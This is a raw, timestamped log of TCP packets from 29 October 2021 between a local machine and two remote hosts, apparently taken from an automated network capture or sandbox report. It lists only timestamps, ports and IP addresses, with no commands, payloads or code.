Oct 29, 2021 20:10:39.652295113 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.652483940 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.652503967 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.652549028 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.652560949 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.652579069 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.652601957 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.652633905 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.652654886 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.652688980 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.652699947 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.652723074 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.652741909 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.652780056 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.652797937 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.652838945 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.652851105 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.652878046 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.652925014 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.652965069 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.652985096 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.653027058 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.653036118 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.653044939 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.653059959 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.653063059 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.653096914 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.653117895 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.653129101 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.654354095 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.656609058 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.669200897 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.679770947 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.679861069 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.680037022 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.680443048 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.680469036 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.719253063 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.725733995 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.725766897 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.793653965 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.793761015 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.793798923 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.793836117 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.793854952 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.793869972 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.793883085 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.793941975 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.793943882 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.793953896 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794011116 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794028997 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.794040918 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794076920 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794102907 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.794111013 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794145107 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794179916 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794203997 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.794212103 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794272900 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.794298887 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794332027 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794368029 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794380903 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.794393063 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794429064 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794457912 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.794464111 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794476986 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794506073 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.794524908 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794557095 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.794564962 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794600964 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794636965 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794671059 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794692039 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.794699907 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794734955 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794751883 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.794783115 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.794785023 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794796944 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794846058 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794861078 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.794873953 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794909000 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794941902 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.794943094 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794954062 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.794994116 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.795005083 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.795037031 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.795037985 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.795047998 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.795094967 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.795099974 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.795111895 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.795222998 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.795231104 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.795290947 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.795294046 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.795315027 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.795417070 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.811021090 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.811115026 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.813052893 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.813395023 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.813478947 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.813497066 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.813606024 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.813608885 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.813625097 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.813719034 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.813940048 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.813992023 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.814054012 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.814065933 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.814107895 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.814178944 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.814265966 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.814279079 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.814368010 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.815007925 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.815123081 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.815140009 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.815356970 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.816046953 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.816129923 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.816173077 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.816234112 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.816276073 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.816335917 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.816350937 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.816410065 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.816422939 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.816488981 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.816504002 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.816524029 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.816543102 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.816576958 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.816617966 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.816617966 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.816631079 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.816652060 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.816654921 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.816713095 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.817269087 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.817626953 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.828428030 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.828505039 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.828607082 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.828641891 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.828751087 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.832324028 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.832382917 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.832412958 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.832426071 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.832437992 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.832524061 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.832559109 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.832565069 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.832575083 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.832638025 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.832693100 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.832700968 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.832712889 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.832789898 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.832797050 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.832886934 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.832921982 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.832932949 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.832947969 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.832976103 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.833043098 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.833097935 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.833125114 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.833132982 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.833149910 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.833158016 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.833211899 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.833219051 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.833266020 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.833293915 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.833362103 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.833384037 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.833437920 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.833467960 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.833519936 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.833563089 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.833594084 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.833621979 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.833628893 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.833638906 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.833703041 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.833748102 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.833755016 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.833801031 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.833848953 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.833854914 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.833875895 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.833930969 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.833937883 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.833977938 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.833991051 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.834037066 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.834079981 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.834120035 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.834383011 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.834399939 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.834459066 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.834466934 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.834516048 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.834548950 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.834666014 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.834682941 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.834739923 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.834747076 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.834784985 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.834841013 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.834894896 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.834919930 CEST	443	49805	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.834925890 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.834930897 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.835021019 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.835371971 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.837058067 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.840152025 CEST	49805	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:40.486917973 CEST	49806	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.539453983 CEST	80	49806	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.539711952 CEST	49806	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.539868116 CEST	49806	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.539905071 CEST	49806	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.618438959 CEST	80	49806	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.618561983 CEST	49806	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.619822979 CEST	49806	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.652757883 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.671219110 CEST	80	49806	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.704894066 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.704996109 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.705116987 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.705136061 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.783237934 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.783294916 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.783417940 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.783643007 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.783678055 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.783713102 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.783755064 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.783766031 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.783788919 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.783814907 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.783821106 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.783852100 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.783855915 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.783884048 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.784991980 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.835561037 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.835587978 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.835599899 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.835617065 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.835699081 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.836288929 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.836309910 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.836324930 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.836342096 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.836359978 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.836375952 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.836391926 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.836417913 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.836489916 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.836508036 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.836524010 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.836539984 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.836539984 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.836555958 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.836558104 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.836616993 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.836622953 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.836903095 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.836922884 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.836939096 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.836977005 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.836977005 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.837075949 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.888087034 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.888154030 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.888180017 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.888335943 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.889132023 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.889177084 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.889210939 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.889214993 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.889245033 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.889276981 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.889301062 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.889334917 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.890814066 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.890851021 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.890881062 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.890909910 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.890938044 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.890939951 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.890965939 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.890969992 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.890994072 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.891016960 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.891021967 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.891050100 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.891067028 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.891077995 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.891103983 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.891133070 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.891151905 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.891158104 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.891185045 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.891189098 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.891215086 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.891239882 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.891244888 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.891271114 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.891298056 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.891324997 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.891335964 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.891352892 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.891383886 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.891412020 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.891441107 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.891467094 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.891495943 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.891655922 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.891664028 CEST	49807	80	192.168.2.5	185.98.87.159
